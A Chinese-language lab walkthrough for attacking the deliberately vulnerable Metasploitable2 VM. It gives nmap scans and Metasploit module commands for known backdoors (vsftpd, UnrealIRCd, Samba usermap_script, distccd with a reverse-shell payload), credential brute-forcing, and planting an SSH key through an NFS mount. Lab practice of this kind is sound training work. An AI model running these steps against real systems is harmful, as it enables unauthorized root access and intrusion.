Metasploittable2打靶教程
本次靶机练习主要熟悉:高危端口利用;metasploit中search,show及各个模块使用。
一、环境准备
1.把靶场放在vmware打开,启用nat模式:
2.启用kali
二、信息收集
3.确认目标:
使用nmap扫描该局域网,确认目标开放端口服务信息。
sudo nmap -sS 192.168.1.0/24
这是后面复现完第一张漏洞时,查看靶机漏洞清单,发现少了些端口,还以为是自己靶机没开这些端口呢,结果是自己nmap端口没扫完。这是后面重新扫描的第二张,可见最好平时做实战及靶机时最好扫完 全端口,以免遗漏高端口漏洞。
4.确认操作系统
sudo nmap -O 192.168.1.0/24
也可以和之前的命令一起用
例:sudo nmap -sS -O 192.168.1.0/24
实战中:在确认目标IP后,建议使用:sudo nmap -PN -O 192.168.1.130
更详细服务信息,以便收集已公开漏洞
sudo nmap -sS 192.168.1.130
漏洞清单:
从顺序来吧
21(ftp)
vsftpd是在UNIX 类操作系统上运行的一个完全免费的、开放源代码的ftp服务器软件
可用msf扫描该服务,该ftp正常来说只有匿名访问和弱口令。
匿名访问:
1.启用msf
msfconsole
2.寻找漏洞代码 (vsftpd),查看该服务有无漏洞
search vsftpd
3.使用
use 0
显示payloads
show payloads
只有一个就自动选择
也可手动定义payload
4.查看配置
show options
5.设置目标
set rhost 192.168.80.130
6.运行
run 或者exploit
直接root权限
22(ssh)
Search ssh_login 搜索模块Use auxiliary/scanner/ssh/ssh_login 使用模块Set RHOST 192.168.1.130 设置目标地址Set USER_FILE XXX 设置用户字典路径Set PASS_FILE XXX 设置字典密码路径Set THREADS 100 设置线程是100Run
爆破成功msfadmin:msfadmin
23(telnet)
search telnet_loginuse 1Set RHOST 192.168.1.134 设置目标地址Set USER_FILE XXX 设置用户字典路径Set PASS_FILE XXX 设置字典密码路径Set THREADS 100 设置线程是100Run
80(php-cgi)
先访问该该网站是什么站:
Mutillidae 和 DVWA这两个练习平台就不说了
扫描目录发现漏洞点
2012年的漏洞
server API 是CGI方式运行的,这个方式在PHP存在漏洞-Cgi参数注入
phpinfo.php ===>php-cgi
phpadmin
- 链
search php-cgiuse 0set rhost 192.168.1.130run
111(RPC)
auxiliary/scanner/misc/sunrpc_portmapper
只能拿来ddos
139,445(smba)
1.Samba 在配置了可写文件共享并启用了“宽链接”(默认打开)时,也可以用作某种后门来访问不打算共享的文件。
smbclient -L //192.168.1.130
use auxiliary/admin/smb/samba_symlink_traversalset rhost 192.168.1.130set SMBSHARE tmp run
smbclient //192.168.1.130/tmp
SambaMS-RPC Shell 命令注入漏洞
search samba use exploit/multi/samba/usermap_script set rhost xxxxrun
512.513.514 (r)
TCP 端口 512、513 和 514 被称为“r”服务,并且被错误配置为允许从任何主机进行远程访问
sudo apt-get install rsh-clientrlogin -l root 192.168.1.130
1099(java_rmi)
原理:Java RMI Server 的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致
use exploit/multi/misc/java_rmi_server
1524(ingreslock):
1524端口 ingreslock Ingres 数据库管理系统(DBMS)锁定服务
利用telnet命令连接目标主机的1524端口,直接获取root权限。
Ingreslock后门程序监听在1524端口,连接到1524端口就可以直接获得root权限, 经常被用于入侵一个暴露的服务器。
ingreslock 端口是为受感染服务器添加后门的流行选择。访问它很容易:
2049(NFS)
NFS全称Network File System,即网络文件系统,属于网络层,主要用于网络间文件的共享,最早由sun公司开发。
复现环境:Kali2017、Metasploit2
复现思路:利用NFS服务将本地主机的ssh公钥传输到目标主机上,再利用ssh连接到目标主机
1.kali下连接靶机的NFS服务
sudo apt-get install nfs-commonshowmount -e 192.168.1.130mkdir /tmp/192.168.1.130sudo mount -t nfs 192.168.1.130:/ /tmp/192.168.1.130/cd /tmp/192.168.1.130/ls -la
2.将本地主机的ssh公钥发送到目标主机并通过ssh连接靶机
ssh-keygen cat .ssh/id_rsa.pub >> /tmp/192.168.1.130/root/.ssh/authorized_keys ssh root@192.168.1.130
不过这里遇到点小坑
解决办法:链接
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa root@192.168.1.130
3306(mysql)
mysql空密码:
使用模块:use auxiliary/scanner/mysql/mysql_login
search mysql_loginuse 0set username root
3632(distccd)
除了上一节中的恶意后门,一些服务本质上几乎就是后门。
search distccduse 0set rhost 192.168.1.130
这里如果我们用默认的payload会no session,这里切换下payload
show payloadsset payload cmd/unix/reverse_ruby
5432(postgresql)
1.爆破:
auxiliary/scanner/postgres/postgres_login
postgresql 密码:postgres
2.Linux安装的PostgreSQL, postgres服务帐户可以写到/tmp目录,还有共享库,允许任意执行代码
这是nmap的指纹
也可以通过msf的模块:canner/postgres/postgres_version
后渗透利用推荐
5900(vnc)
vnc密码: password
6667(IRC)
根据nmap指纹信息search UnrealIRCduse 0 || use exploit/unix/irc/unreal_ircd_3281_backdoorset rhost 192.168.1.130run
一把梭失败,检查错误:发现pay失败,切换payload。
查看可用payload
show payloads
8180(tomact)
暴力破解账号密码:tomcat;tomcat